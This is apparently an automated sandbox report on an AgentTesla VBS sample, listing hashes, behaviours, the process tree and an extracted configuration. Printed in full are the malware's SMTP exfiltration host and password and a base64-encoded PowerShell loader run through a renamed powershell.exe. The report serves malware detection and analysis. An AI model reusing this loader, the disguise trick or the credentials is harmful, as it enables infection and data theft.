Analysis
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max time kernel
94s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
17/11/2024, 01:13
General
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Target
929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs
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Size
2.2MB
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MD5
4bb2f623b8e05072ed01e7fd0e9a4e28
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SHA1
b53851e2fb8d9da46d05c813da5612a04e72242f
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SHA256
929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
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SHA512
b2740378d3d52935e8b3e52a6c4c74928de678dbf449a08796e2467cef341b03fe755132b4aaf4fa4a63428854a42749584acf779efce4340ab9c22cfca1e607
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SSDEEP
49152:B20hVNq/RiQ4N+jRDSBTUxaWA/ZUgHYuhEBprt6:P+U
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
nffplp.com - Port:
587 - Username:
[email protected] - Password:
$Nke%8XIIDtm - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 1 IoCs
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Executes dropped EXE 1 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Modifies registry class 1 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of SetWindowsHookEx 1 IoCs
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Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe"C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe" /Y1⤵
- Process spawned unexpected child process
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
264KB
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Filesize
320KB
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Filesize
40KB
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Filesize
4KB
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Filesize
216KB
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Filesize
7.7MB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
408KB
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Filesize
408KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
104KB
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Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
2.1MB
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Filesize
992KB
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Filesize
584KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
-
Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
-
Filesize
968KB
-
Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
968KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
424KB
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Filesize
304KB
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Filesize
336KB
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Filesize
7.7MB
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Filesize
7.7MB